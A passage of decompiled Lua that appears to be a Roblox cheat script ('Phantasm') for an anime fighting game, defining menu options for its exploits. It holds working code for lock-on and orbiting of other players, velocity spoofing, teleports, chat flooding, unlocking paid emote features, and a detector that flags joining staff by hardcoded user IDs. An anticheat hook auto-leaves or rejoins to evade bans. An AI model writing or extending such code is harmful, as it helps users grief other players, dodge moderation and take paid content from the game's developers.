_ReplicatedStorage.Resources.KJEffects.tpthing:Clone() v561.Parent = v554 v561:Emit(15) _Debris:AddItem(v561, 1) local v562, v563, v564 = pairs(u553:GetDescendants()) while true do local u565 v564, u565 = v562(v563, v564) if v564 == nil then break end if u565:IsA('BasePart') and (u565 ~= v554 and u565.Transparency ~= 1) and not u565.Name:lower():find('hitbox') then task.spawn(function() u565.Transparency = 1 task.delay(0.1, function() if u59.Invisibility or getgenv().desync and not u553:FindFirstChild('AbsoluteImmortal') then u565.Transparency = 0.5 else u565.Transparency = 0 end end) local _Decal2 = u565:FindFirstChildWhichIsA('Decal') if _Decal2 and _Decal2.Transparency ~= 1 then local _Transparency = _Decal2.Transparency _Decal2.Transparency = 1 task.wait(0.1) _Decal2.Transparency = _Transparency end end) end end end end end, }) v489:AddToggle('AnimeTPAnimation', { Text = bypassText('Teleport Animation'), Default = false, }) v489:AddDropdown('AnimeTPSound', { Values = { 'None', 'Goku', 'Goku Black', }, Default = 1, Multi = false, Text = bypassText('Teleport Sound'), }) v489:AddSlider('AnimeTPVolume', { Text = bypassText('Sound Volume'), Default = 10, Min = 1, Max = 10, Rounding = 1, }) v489:AddSlider('AnimeTPSpeed', { Text = bypassText('Animation Speed'), Default = 1, Min = 0.5, Max = 5, Rounding = 1, }) v489:AddDivider() v489:AddToggle('Lock-on', { Text = bypassText('Lock-on'), Default = false, Callback = function(p568) if not p568 and Options['L-OnKeybind']:GetState() == true then Options['L-OnKeybind'].Toggled = false Options['L-OnKeybind']:DoClick() end end, }):AddKeyPicker('L-OnKeybind', { SyncToggleState = false, Mode = 'Toggle', Default = 'V', Text = bypassText('Lock-on'), Callback = function(p569) if u525['Lock-on'] then return end if p569 and not Toggles['Lock-on'].Value then _RenderStepped:Wait() u525['Lock-on'] = true Options['L-OnKeybind'].Toggled = false Options['L-OnKeybind']:DoClick() u525['Lock-on'] = false return end local v570 = closestPlayerV2(true) if v570 and (p569 and Toggles['Lock-on'].Value) then while true do if true then local v571 = getChar(_LocalPlayer) local v572 if v571 then v572 = getRoot(v571) else v572 = v571 end end local v573 if v571 then v573 = getHumanoid(v571) else v573 = v571 end local v574 if v570 then v574 = getChar(v570) else v574 = v570 end local v575 if v574 then v575 = getRoot(v574) else v575 = v574 end local v576 if v574 then v576 = getHumanoid(v574) else v576 = v574 end if v571 and (v572 and (v573 and (v570 and (v574 and (v575 and (v576 and v573.Health > 0)))))) then v573.AutoRotate = false local v577 = v574:FindFirstChildWhichIsA('Highlight') or Instance.new('Highlight', v574) v577.FillTransparency = 0.8 v577.OutlineTransparency = 0 v577.DepthMode = 'AlwaysOnTop' v577.FillColor = Color3.fromRGB(255, 0, 0) v577.OutlineColor = Color3.fromRGB(255, 0, 0) local _Position = v572.Position local _Position2 = v575.Position local _ = v575.Velocity local v580 = Toggles['Auto_Lock-on_Prediction'].Value and _Stats.Network.ServerStatsItem['Data Ping']:GetValue() / 1000 or Options['Lock-on_Prediction'].Value local v581 = Vector3.new(_Position2.X, u59.Flying and _Position2.Y or _Position.Y, _Position2.Z) + v576.MoveDirection * v575.Velocity.Magnitude * 0.1 if Toggles['Auto_Lock-on_Prediction'].Value then Options['Lock-on_Prediction']:SetValue(tonumber(string.format('%.1f', v580))) end if not v571:FindFirstChild('Ragdoll') then v572.CFrame = CFrame.new(_Position, v581) end end _RenderStepped:Wait() if Options['L-OnKeybind']:GetState() == false or v570 and not v570.Parent or not v570 then local v582 = getChar(_LocalPlayer) local v583 if v582 then v583 = getRoot(v582) else v583 = v582 end local v584 if v582 then v584 = getHumanoid(v582) else v584 = v582 end if v582 and (v583 and v584) then v584.AutoRotate = true end local v585 if v570 then v585 = getChar(v570) else v585 = v570 end local v586 if v585 then v586 = v585:FindFirstChildWhichIsA('Highlight') else v586 = v585 end if v570 and (v585 and v586) then if getHighestStreak() ~= v570 or (10 > (v585:GetAttribute('CurrentStreak') or 0) or v570:GetAttribute('S_HideStreak')) then v586.FillTransparency = 1 v586.OutlineTransparency = 1 v586.DepthMode = 'Occluded' v586.FillColor = Color3.fromRGB(255, 255, 255) v586.OutlineColor = Color3.fromRGB(255, 255, 255) else v586.FillTransparency = 1 v586.OutlineTransparency = 0 v586.DepthMode = 'Occluded' v586.FillColor = Color3.fromRGB(255, 255, 0) v586.OutlineColor = Color3.fromRGB(255, 255, 0) end end end end else return end end, }) v489:AddSlider('Lock-on_Prediction', { Text = bypassText('Prediction'), Default = 0.1, Min = 0.1, Max = 1, Rounding = 1, Compact = true, }) v489:AddToggle('Auto_Lock-on_Prediction', { Text = bypassText('Auto Prediction'), Default = false, }) v489:AddDivider() v489:AddToggle('Orbit', { Text = bypassText('Orbit'), Default = false, Callback = function(p587) if not p587 and Options.OrbitBind:GetState() == true then Options.OrbitBind.Toggled = false Options.OrbitBind:DoClick() end end, }):AddKeyPicker('OrbitBind', { SyncToggleState = false, Mode = 'Toggle', Default = 'H', Text = bypassText('Orbit'), Callback = function(p588) if u525.Orbit then return end if p588 and not Toggles.Orbit.Value then _RenderStepped:Wait() u525.Orbit = true Options.OrbitBind.Toggled = false Options.OrbitBind:DoClick() u525.Orbit = false return end local v589 = closestPlayerV2(true) if v589 and (p588 and Toggles.Orbit.Value) then local v590 = nil local v591 = getChar(_LocalPlayer) local v592 if v591 then v592 = getRoot(v591) else v592 = v591 end local v593 if v591 then v593 = getHumanoid(v591) else v593 = v591 end if v591 and (v592 and v593) then v590 = v592.CFrame end u477:Notify({ Title = bypassText('Orbit'), Description = bypassText('Toggled on ') .. '\u{fffd}\u{fffd}', Time = 2, SoundId = u42.Notification, }) local v594 = 0 while true do if true then local v595 = getChar(_LocalPlayer) local v596 if v595 then v596 = getRoot(v595) else v596 = v595 end end local v597 if v595 then v597 = getHumanoid(v595) else v597 = v595 end local v598 if v589 then v598 = getChar(v589) else v598 = v589 end local v599 if v598 then v599 = getRoot(v598) else v599 = v598 end local v600 if v598 then v600 = getHumanoid(v598) else v600 = v598 end if v595 and (v596 and (v597 and (v589 and (v598 and (v599 and v600))))) then local _CurrentCamera2 = _Workspace.CurrentCamera if _CurrentCamera2 and _CurrentCamera2.CameraSubject ~= v600 then _CurrentCamera2.CameraSubject = v600 end local _Value3 = Options.OrbitSpeed.Value local _Value4 = Options.OrbitDistance.Value v594 = v594 + _Value3 if not u59['Pause Orbit'] then local v604 = v599.Position + v600.MoveDirection * v599.Velocity.Magnitude / 2.75 local v605 = CFrame.Angles(0, math.rad(v594), 0) * CFrame.new(_Value4, 0, 0) v596.CFrame = CFrame.lookAt(v596.Position, Vector3.new(v604.X, v596.Position.Y, v604.Z)) task.wait() v596.CFrame = CFrame.new(v604.X, v599.Position.Y, v604.Z) * v605 end end _RenderStepped:Wait() if Options.OrbitBind:GetState() == false or v589 and not v589.Parent or not v589 then u477:Notify({ Title = bypassText('Orbit'), Description = bypassText('Toggled off ') .. '\u{fffd}\u{fffd}', Time = 2, SoundId = u42.Notification, }) local _CurrentCamera3 = _Workspace.CurrentCamera local v607 = getChar(_LocalPlayer) local v608 if v607 then v608 = getRoot(v607) else v608 = v607 end local v609 if v607 then v609 = getHumanoid(v607) else v609 = v607 end local v610 if v589 then v610 = getChar(v589) else v610 = v589 end local v611 if v610 then v611 = getRoot(v610) else v611 = v610 end local v612 if v610 then v612 = getHumanoid(v610) else v612 = v610 end if v607 and (v608 and (v609 and (v589 and (v610 and (v611 and v612))))) then if _CurrentCamera3 and _CurrentCamera3.CameraSubject == v612 then _CurrentCamera3.CameraSubject = v609 end elseif v607 and (v608 and v609) then _CurrentCamera3.CameraSubject = v609 end if v590 then heartbeatTp(v590) end end end else return end end, }) v489:AddSlider('OrbitSpeed', { Text = bypassText('Orbit Speed'), Default = 10, Min = 1, Max = 100, Rounding = 1, }) v489:AddSlider('OrbitDistance', { Text = bypassText('Orbit Distance'), Default = 3, Min = 1, Max = 100, Rounding = 1, }) v489:AddDivider() v489:AddToggle('VelocitySpoof', { Text = bypassText('Velocity Spoof'), Default = false, Callback = function(p613) if not p613 then u59['Velocity Spoof'] = false if Options.VelocitySpoofBind:GetState() == true then Options.VelocitySpoofBind.Toggled = false Options.VelocitySpoofBind:DoClick() end end end, }):AddKeyPicker('VelocitySpoofBind', { SyncToggleState = false, Mode = 'Toggle', Default = 'X', Text = bypassText('Velocity Spoof'), Callback = function(p614) if u525['Velocity Spoof'] then return elseif p614 and not Toggles.VelocitySpoof.Value then _RenderStepped:Wait() u525['Velocity Spoof'] = true Options.VelocitySpoofBind.Toggled = false Options.VelocitySpoofBind:DoClick() u525['Velocity Spoof'] = false elseif Toggles.VelocitySpoof.Value then u59['Velocity Spoof'] = p614 u477:Notify({ Title = bypassText('Velocity Spoof'), Description = bypassText('Toggled ') .. (p614 and 'on \u{2705}' or 'off \u{274c}'), Time = 2, SoundId = u42.Notification, }) end end, }) v489:AddSlider('VelocityX', { Text = bypassText('X'), Default = 0, Min = 0, Max = 16384, Rounding = 1, Compact = true, Callback = function(p615) u59['Velocity Spoof Settings'] = Vector3.new(p615, u59['Velocity Spoof Settings'].Y, u59['Velocity Spoof Settings'].Z) end, }) v489:AddSlider('VelocityY', { Text = bypassText('Y'), Default = 0, Min = 0, Max = 16384, Rounding = 1, Compact = true, Callback = function(p616) u59['Velocity Spoof Settings'] = Vector3.new(u59['Velocity Spoof Settings'].X, p616, u59['Velocity Spoof Settings'].Z) end, }) v489:AddSlider('VelocityZ', { Text = bypassText('Z'), Default = 0, Min = 0, Max = 16384, Rounding = 1, Compact = true, Callback = function(p617) u59['Velocity Spoof Settings'] = Vector3.new(u59['Velocity Spoof Settings'].X, u59['Velocity Spoof Settings'].Y, p617) end, }) v489:AddDivider() v489:AddToggle('TP1', { Text = bypassText('Teleport 1'), Default = false, Callback = function(p618) if not p618 and Options.TP1Bind:GetState() == true then Options.TP1Bind.Toggled = false Options.TP1Bind:DoClick() end end, }):AddKeyPicker('TP1Bind', { SyncToggleState = false, Mode = 'Toggle', Default = 'E', Text = bypassText('Teleport 1'), Callback = function(_) Options.TP1Bind.Toggled = false if Toggles.TP1.Value then local v619 = getChar(_LocalPlayer) local v620 if v619 then v620 = getRoot(v619) else v620 = v619 end local v621 if v619 then v621 = getHumanoid(v619) else v621 = v619 end if v619 and (v620 and (v621 and v621.Health > 0)) then heartbeatTp(v620.CFrame * CFrame.new(Options.TP1X.Value, Options.TP1Y.Value, Options.TP1Z.Value)) end end end, }) v489:AddSlider('TP1X', { Text = bypassText('X'), Default = 0, Min = -25, Max = 25, Rounding = 1, Compact = true, }) v489:AddSlider('TP1Y', { Text = bypassText('Y'), Default = 0, Min = -25, Max = 25, Rounding = 1, Compact = true, }) v489:AddSlider('TP1Z', { Text = bypassText('Z'), Default = 20, Min = -25, Max = 25, Rounding = 1, Compact = true, }) v489:AddDivider() v489:AddToggle('TP2', { Text = bypassText('Teleport 2'), Default = false, Callback = function(p622) if not p622 and Options.TP2Bind:GetState() == true then Options.TP2Bind.Toggled = false Options.TP2Bind:DoClick() end end, }):AddKeyPicker('TP2Bind', { SyncToggleState = false, Mode = 'Toggle', Default = 'R', Text = bypassText('Teleport 2'), Callback = function(_) Options.TP2Bind.Toggled = false if Toggles.TP2.Value then local v623 = getChar(_LocalPlayer) local v624 if v623 then v624 = getRoot(v623) else v624 = v623 end local v625 if v623 then v625 = getHumanoid(v623) else v625 = v623 end if v623 and (v624 and (v625 and v625.Health > 0)) then heartbeatTp(v624.CFrame * CFrame.new(Options.TP2X.Value, Options.TP2Y.Value, Options.TP2Z.Value)) end end end, }) v489:AddSlider('TP2X', { Text = bypassText('X'), Default = 0, Min = -25, Max = 25, Rounding = 1, Compact = true, }) v489:AddSlider('TP2Y', { Text = bypassText('Y'), Default = 0, Min = -25, Max = 25, Rounding = 1, Compact = true, }) v489:AddSlider('TP2Z', { Text = bypassText('Z'), Default = -20, Min = -25, Max = 25, Rounding = 1, Compact = true, }) local u626 = { 422755031, 198131804, 681405668, 3414432341, 339633571, 430966809, 2039323684, 117723419, 1015595932, 263944298, 112905203, 2284964418, 1266437961, 3120648134, 1148139861, 1633233654, 3350014406, 971193650, 661273560, 66105529, 77342385, 167343092, 2055306963, 141984224, 438917845, 1391134999, 1796550069, 255671730, 3162123826, 1059541187, 1259898795, 31070091, 1041867508, 994994173, 1446694201, 77525605, 1001242712, 2533866869, 4983064295, } local function u637(p627) if p627 ~= _LocalPlayer then local _DisplayName = p627.DisplayName if p627:IsInGroup(12013007) and Toggles.SDCheckGroup.Value then local v629 = p627:GetRoleInGroup(12013007) if v629 == 'Tester \u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}' then u477:Notify({ Title = bypassText('A tester is in your game!'), Description = bypassText(_DisplayName), Time = 10, SoundId = u42.Notification, }) elseif v629 == 'Moderator\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fe0f}' then u477:Notify({ Title = bypassText('A moderator is in your game!'), Description = bypassText(_DisplayName), Time = 10, SoundId = u42.Notification, }) elseif v629 == 'Contributor \u{270f}\u{fe0f}' then u477:Notify({ Title = bypassText('A contributor is in your game!'), Description = bypassText(_DisplayName), Time = 10, SoundId = u42.Notification, }) elseif v629 == 'Developer \u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{200d}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}' then u477:Notify({ Title = bypassText('A developer is in your game!'), Description = bypassText(_DisplayName), Time = 10, SoundId = u42.Notification, }) elseif v629 == 'Owner \u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}' then u477:Notify({ Title = bypassText('The owner is in your game!'), Description = bypassText(_DisplayName), Time = 10, SoundId = u42.Notification, }) end end local v630, v631, v632 = pairs(u626) local v633 = {} while true do local v634 v632, v634 = v630(v631, v632) if v632 == nil then break end if p627.UserId == v634 and Toggles.StaffDetector.Value then return u477:Notify({ Title = bypassText('A special person has joined!'), Description = bypassText(_DisplayName), Time = 10, SoundId = u42.Notification, }) end if Toggles.SDCheckFriends.Value and p627:IsFriendsWith(v634) then local v635 = _Players v633[#v633 + 1] = v635:GetNameFromUserIdAsync(v634) end end if #v633 > 0 then local v636 = #v633 == 1 and v633[1] or (#v633 == 2 and table.concat(v633, ' and ') or #v633 .. ' special people') u477:Notify(bypassText(_DisplayName, 'has joined and is friends with', v636), 10, u42.Notification) end end end v503:AddToggle('StaffDetector', { Text = bypassText('Staff Detector'), Default = false, Callback = function(p638) if p638 then local v639 = _Players local v640, v641, v642 = pairs(v639:GetPlayers()) while true do local v643 v642, v643 = v640(v641, v642) if v642 == nil then break end task.spawn(pcall, u637, v643) end elseif not p638 then Toggles.SDCheckGroup:SetValue(false) Toggles.SDCheckFriends:SetValue(false) end end, }) v503:AddToggle('SDCheckGroup', { Text = bypassText('Check Group'), Default = false, }) v503:AddToggle('SDCheckFriends', { Text = bypassText('Check Friends'), Default = false, }) local u644 = 0 local u645 = 0 v503:AddLabel({ Text = bypassText('Anticheat Flags:\n\r\nA1: Report\r\nA2: Animation\r\nA3: Remote Event'), DoesWrap = true, Size = 16, }) v503:AddToggle('AnticheatDetector', { Text = bypassText('Anticheat Detector'), Tooltip = bypassText('Detects when the game checks for cheats.'), Default = false, Callback = function(p646) if p646 then local v650 = _ReplicatedStorage.Replication.OnClientEvent:Connect(function(...) local v647 = select(1, ...) if v647 then local v648 = rawget(v647, 'Effect') or 'Unknown' local _Value5 = Options.AvoidBanMethod.Value if v648:lower() == 'hicheck' then u644 = u644 + 1 u477:Notify({ Title = bypassText('Anticheat Flagged'), Description = bypassText('A1 (Report)'), Time = 10, SoundId = u42.Notification, }) if _Value5 == 'Auto Leave' then _LocalPlayer:Kick('\n[Phantasm]\nAnticheat Triggered, You were reported for exploiting.') elseif _Value5 == 'Auto Rejoin' then rejoin({ Message = '\n[Phantasm]\nAnticheat Triggered, You were reported for exploiting.', Delay = Options.RejoinDelay.Value, }) end end end end) repeat task.wait() until not Toggles.AnticheatDetector.Value v650:Disconnect() end end, }) v503:AddDropdown('AvoidBanMethod', { Values = { 'None', 'Auto Leave', 'Auto Rejoin', }, Default = 1, Multi = false, Text = bypassText('Avoid Ban Method'), }) v503:AddSlider('RejoinDelay', { Text = bypassText('Rejoin Delay'), Default = 3, Min = 0, Max = 10, Rounding = 1, }) v506:AddToggle('AutoEmoteSpin', { Text = bypassText('Auto Emote Spin'), Default = false, }) v506:AddDivider() v506:AddToggle('FreeEmotes', { Text = bypassText('Knockoff Free Emotes'), Default = false, }) v506:AddToggle('FreeEmoteSearchBar', { Text = bypassText('Free Emote Search Bar'), Default = false, Callback = function(p651) if not (p651 and _LocalPlayer:GetAttribute('EmoteSearchBar')) then _LocalPlayer:SetAttribute('EmoteSearchBar', p651 and true or nil) end end, }) v506:AddToggle('Free8EmoteSlots', { Text = bypassText('Free 8 Emote Slots'), Default = false, Callback = function(p652) if not (p652 and _LocalPlayer:GetAttribute('ExtraSlots')) then _LocalPlayer:SetAttribute('ExtraSlots', p652 and true or nil) end end, }) v506:AddToggle('FreeEmotePage', { Text = bypassText('Free Emote Page'), Default = false, Callback = function(p653) if not (p653 and _LocalPlayer:GetAttribute('EmotePages')) then _LocalPlayer:SetAttribute('EmotePages', p653 and true or nil) end end, }) v506:AddLabel({ Text = bypassText('Total Emotes:', Emotes and #Emotes or 'Unknown'), DoesWrap = true, Size = 16, }) v506:AddToggle('DisableMessaging', { Text = bypassText('Disable Messaging'), Tooltip = bypassText("Incase you get mad at someone and can't hold yourself back."), Default = false, }) v506:AddToggle('AntiChatLogger', { Text = bypassText('Anti Chat Logger'), Default = false, }) v506:AddToggle('ChatFlooder', { Text = bypassText('Chat Flooder'), Default = false, Callback = function(p654) if p654 then while true do sendMsg(randomAlphabeticalString(200)) local v655 = tick() repeat task.wait() until tick() >= v655 + Options.ChatFlooderDelay.Value or not Toggles.ChatFlooder.Value if not Toggles.ChatFlooder.Value then end end else return end end, }) v506:AddSlider('ChatFlooderDelay', { Text = bypassText('Chat Flooder Delay'), Default = 3.5, Min = 0.5, Max = 5, Rounding = 1, }) if u446 == '8503ecc70e68aa38ab0cf58354594365abbb8c0943429dd68d1243902600533e5d4149e25dd640afb87da3f52a4f6751d7f8133cd25275792e9b40d06bf43156' then v492:AddToggle('TrashcanLaunchh', { Text = bypassText('Frozen Soul Dual Moveset'), Default = false, }) end v492:AddDivider() v492:AddToggle('TrashcanLaunch', { Text = bypassText('Trashcan Launch'), Default = false, }) v492:AddSlider('Trashcan_LaunchPower', { Text = bypassText('Launch Power'), Default = 100, Min = 1, Max = 2500, Rounding = 1, }) v492:AddDivider() v492:AddToggle('SkillBring', { Text = bypassText('Skill Bring'), Default = false, }) v492:AddToggle('SkillBringTPBack', { Text = bypassText('TP Back on Bring'), Default = false, }) v492:AddDropdown('SkillBringArea', { Text = bypassText('Skill Bring Area'), Values = v40, Multi = false, Default = table.find(v40, 'Death Counter'), Searchable = false, }) local _Middle = u36.Middle v492:AddButton({ Text = bypassText('Goto'), Callback = function() local v657 = u36[Options.SkillBringArea.Value] local v658 = getChar(_LocalPlayer) local v659 if v658 then v659 = getRoot(v658) else v659 = v658 end if v658 and (v659 and (_Middle.Position - v657.Position).Magnitude >= 100) then _Middle = v659.CFrame end heartbeatTp(v657) end, }):AddButton({ Text = bypassText('Back'), Callback = function() heartbeatTp(_Middle) end, }) v492:AddDivider() v492:AddToggle('AttackAll', { Text = bypassText('Attack All'), Default = false, }) v492:AddDropdown('AttackAllMoves', { Values = { 'Savage Tornado', 'Brutal Beatdown', 'Crushed Rock Variant', }, Multi = true, Default = {}, }) v492:AddDivider() v492:AddToggle('SkillThrow', { Text = bypassText('Skill Throw'), Default = false, }) v492:AddDropdown('SkillThrowMoves', { Values = { 'Hunters Grasp', 'Homerun', }, Multi = true, Default = {}, }) v492:AddDivider() v492:AddToggle('NoBP_WindstormFury', { Text = bypassText('No Windstorm Fury BP'), Default = false, }) v492:AddToggle('NoBP_TatsumakiUlt', { Text = bypassText('No Tatsumaki Ult BP'), Default = false, }) v492:AddToggle('NoBP_PreysPeril', { Text = bypassText("No Prey's Peril BP"), Default = false, }) v492:AddToggle('FlingOnDeath', { Text = bypassText('Fling On Death'), Default = false, }) v493:AddToggle('WallComboAnywhere', { Text = bypassText('Wall Combo Anywhere'), Default = false, }) v493:AddDropdown('AutoWallCombo', { Text = bypassText('Auto Wall Combo'), Values = { 'Disabled', 'Auto Wall Combo', 'Auto Wall Combo + Bring', }, Multi = false, Default = 1, }) v493:AddToggle('AutoWallComboTPBack', { Text = bypassText('Teleport Back'), Default = false, }) v493:AddDropdown('AutoWallComboArea', { Text = bypassText('Area'), Values = v50, Multi = false, Default = table.find(v50, 'Death Counter'), Searchable = true, }) local _Middle2 = u36.Middle v493:AddButton({ Text = bypassText('Teleport To Area'), Callback = function() local v661 = u46[Options.AutoWallComboArea.Value] local v662 = getChar(_LocalPlayer) local v663 if v662 then v663 = getRoot(v662) else v663 = v662 end if v662 and (v663 and (_Middle2.Position - v661.Position).Magnitude >= 100) then _Middle2 = v663.CFrame end heartbeatTp(v661) end, }) v493:AddButton({ Text = bypassText('Teleport Back'), Callback = function() heartbeatTp(_Middle2) end, }) v494:AddButton({ Text = bypassText('Toggle All On'), Callback = function() local v664, v665, v666 = pairs(Toggles) while true do local v667 v666, v667 = v664(v665, v666) if v666 == nil then break end if v666:find('^AntiMoves_') and v667.Type == 'Toggle' then v667:SetValue(true) end end local v668, v669, v670 = pairs(Options) while true do local v671 v670, v671 = v668(v669, v670) if v670 == nil then break end if v670:find('^AntiMoves_') and v671.Type == 'Dropdown' then local v672, v673, v674 = pairs(v671.Values) local v675 = {} while true do local v676 v674, v676 = v672(v673, v674) if v674 == nil then break end v675[v676] = true end v671:SetValue(v675) end end end, }):AddButton({ Text = bypassText('Toggle All Off'), Callback = function() local v677, v678, v679 = pairs(Toggles) while true do local v680 v679, v680 = v677(v678, v679) if v679 == nil then break end if v679:find('^AntiMoves_') and v680.Type == 'Toggle' then v680:SetValue(false) end end local v681, v682, v683 = pairs(Options) while true do local v684 v683, v684 = v681(v682, v683) if v683 == nil then break end if v683:find('^AntiMoves_') and v684.Type == 'Dropdown' then v684:SetValue({}) end end end, }) v494:AddToggle('AntiExploits_Fling', { Text = bypassText('Anti Fling'), Default = false, }) v494:AddToggle('AntiExploits_Invisibility', { Text = bypassText('Anti Invisibility'), Default = false, Visible = true, Callback = function(p685) if p685 then local function u691(p686) local v687, v688, v689 = pairs(u58) while true do local v690 v689, v690 = v687(v688, v689) if v689 == nil then break end if p686.Animation.AnimationId:match(v690) and p686.Speed ~= 1 then task.spawn(function() repeat p686:AdjustWeight(-999999) _RenderStepped:Wait() until not (p686.IsPlaying and Toggles.AntiExploits_Invisibility.Value) end) end end end local function v706(p692) local v693 = getChar(p692) local v694 if v693 then v694 = getRoot(v693) else v694 = v693 end local v695 if v693 then v695 = getHumanoid(v693) else v695 = v693 end if v693 and v695 then local v696, v697, v698 = pairs(v693:GetDescendants()) while true do local u699 v698, u699 = v696(v697, v698) if v698 == nil then break end if u699:IsA('BasePart') then if u699.Transparency == 1 and u699 ~= v694 and not u699.Name:find('^Hitbox_') then u699.Transparency = 0 end local u700 = 0 u699:GetPropertyChangedSignal('Transparency'):Connect(function() if u699.Transparency == 1 then u699.Transparency = u700 end u700 = u699.Transparency end) end end local v701, v702, v703 = pairs(v695:GetPlayingAnimationTracks()) while true do local v704 v703, v704 = v701(v702, v703) if v703 == nil then break end u691(v704) end v695.AnimationPlayed:Connect(function(p705) u691(p705) end) end end local v707 = _Players local v708, v709, v710 = pairs(v707:GetPlayers()) while true do local v711 v710, v711 = v708(v709, v710) if v710 == nil then break end if v711 ~= _LocalPlayer then v706(v711) end end local v712 = _Players.PlayerAdded:Connect(v706) repeat _RenderStepped:Wait() until not Toggles.AntiExploits_Invisibility.Value v712:Disconnect() end end, }) v494:AddToggle('AntiMovesMisc_BackdashCancel', { Text = bypassText('Backdash Cancel'), Default = false, }) v494:AddToggle('AntiMoves_Trashcan', { Text = bypassText('Anti Trash Can'), Default = false, }) v494:AddDropdown('AntiMoves_Saitama', { Text = bypassText('Anti Saitama'), Values = { 'Anti Normal Punch', 'Anti Consecutive Punches', 'Anti Shove', 'Anti Uppercut', 'Anti Death Counter', 'Anti Death Counter Quotes', 'Anti Table Flip', 'Anti Serious Punch', 'Anti Omni-Directional Punch', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_Garou', { Text = bypassText('Anti Garou'), Values = { 'Anti Flowing Water', 'Anti Lethal Whirlwind Stream', 'Anti Hunters Grasp', 'Anti Preys Peril', 'Anti Garou Ult', 'Anti Water Stream Rock Smashing Fist', 'Anti Final Hunt', 'Anti Rock Splitting Fist', 'Anti Crushed Rock', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_Genos', { Text = bypassText('Anti Genos'), Values = { 'Anti Thunder Kick', 'Anti Flamewave Cannon', 'Anti Incinerate', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_Tatsumaki', { Text = bypassText('Anti Tatsumaki'), Values = { 'Anti Crushing Pull', 'Anti Windstorm Fury', 'Anti Stone Grave', 'Anti Expulsive Push', 'Anti Tatsumaki Ult', 'Anti Terrible Tornado', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_AtomicSamurai', { Text = bypassText('Anti Atomic Samurai'), Values = { 'Anti Atomic Samurai Ult', 'Anti Sunset', 'Anti Solar Cleave', 'Anti Atomic Slash', 'Anti Atomic Slash Finisher', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_Suiryu', { Text = bypassText('Anti Suiryu'), Values = { 'Anti Whirlwind Drop', 'Anti Suiryu Ult', 'Anti Grand Fissure', 'Anti Twin Fangs', 'Anti Earth Splitting Strike', 'Anti Last Breath', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_MetalBat', { Text = formatRichText(255, 0, 0, 'Anti Metal Bat'), Values = { 'Anti Savage Tornado', 'Anti Death Blow', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_Sonic', { Text = formatRichText(255, 0, 0, bypassText("Anti Speed-o'-Sonic")), Values = { 'Anti Flash Strike', 'Anti Whirlwind Kick', 'Anti Twinblade Rush', 'Anti Carnage', 'Anti Fourfold Flashstrike', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_KJ', { Text = formatRichText(255, 0, 0, bypassText('Anti KJ')), Values = { 'Anti Stoic Bomb', 'Anti 20-20-20 Dropkick', 'Anti Five Seasons', }, Multi = true, Default = {}, Searchable = true, }) v494:AddDropdown('AntiMoves_FrozenSoul', { Text = formatRichText(0, 255, 255, bypassText('Anti Frozen Soul')), Values = { 'Anti Permafrost', 'Anti Frost Forge', 'Anti Freezing Path', 'Anti Judgement Chain', }, Multi = true, Default = {}, Searchable = true, }) v495:AddButton({ Text = bypassText('Toggle All On'), Callback = function() local v713, v714, v715 = pairs(Toggles) while true do local v716 v715, v716 = v713(v714, v715) if v715 == nil then break end if v715:find('^InvisibleMoves_') and v716.Type == 'Toggle' then v716:SetValue(true) end end local v717, v718, v719 = pairs(Options) while true do local v720 v719, v720 = v717(v718, v719) if v719 == nil then break end if v719:find('^InvisibleMoves_') and v720.Type == 'Dropdown' then local v721, v722, v723 = pairs(v720.Values) local v724 = {} while true do local v725 v723, v725 = v721(v722, v723) if v723 == nil then break end v724[v725] = true end v720:SetValue(v724) end end end, }):AddButton({ Text = bypassText('Toggle All Off'), Callback = function() local v726, v727, v728 = pairs(Toggles) while true do local v729 v728, v729 = v726(v727, v728) if v728 == nil then break end if v728:find('^InvisibleMoves_') and v729.Type == 'Toggle' then v729:SetValue(false) end end local v730, v731, v732 = pairs(Options) while true do local v733 v732, v733 = v730(v731, v732) if v732 == nil then break end if v732:find('^InvisibleMoves_') and v733.Type == 'Dropdown' then v733:SetValue({}) end end end, }) v495:AddToggle('InvisibleMoves_Block', { Text = bypassText('Invisible Block'), Default = false, }) v495:AddToggle('InvisibleMoves_BlockColor', { Text = bypassText('Block Color'), Default = false, }):AddColorPicker('InvisibleMoves_BlockColor1', { Default = Color3.fromRGB(0, 255, 255), Title = 'Start', }):AddColorPicker('InvisibleMoves_BlockColor2', { Default = Color3.fromRGB(0, 0, 255), Title = 'Middle', Transparency = 0, }):AddColorPicker('InvisibleMoves_BlockColor3', { Default = Color3.fromRGB(255, 0, 0), Title = 'End', Transparency = 0, }) v495:AddToggle('InvisibleMoves_Counter', { Text = bypassText('Invisible Counter'), Default = false, }) v495:AddToggle('InvisibleMoves_CounterHit', { Text = bypassText('Invisible Counter Hit'), Default = false, }) v495:AddDropdown('InvisibleMoves_Saitama', { Text = bypassText('Invisible Saitama'), Values = { 'Invisible Ult', 'Invisible Table Flip', 'Invisible Serious Punch', 'Invisible Omni-Directional Punch', }, Multi = true, Default = {}, Searchable = true, }) v495:AddDropdown('InvisibleMoves_Garou', { Text = bypassText('Invisible Garou'), Values = { 'Invisible Ult', }, Multi = true, Default = {}, Searchable = true, }) v495:AddDropdown('InvisibleMoves_Sonic', { Text = bypassText("Invisible Speed-o'-Sonic"), Values = { 'Invisible Ult', }, Multi = true, Default = {}, Searchable = true, }) v495:AddDropdown('InvisibleMoves_Genos', { Text = bypassText('Invisible Genos'), Values = { 'Invisible Ult', 'Invisible Incinerate', }, Multi = true, Default = {}, Searchable = true, }) v495:AddDropdown('InvisibleMoves_Tatsumaki', { Text = bypassText('Invisible Tatsumaki'), Values = { 'Invisible Crushing Pull', 'Invisible Windstorm Fury', 'Invisible Stone Grave', 'Invisible 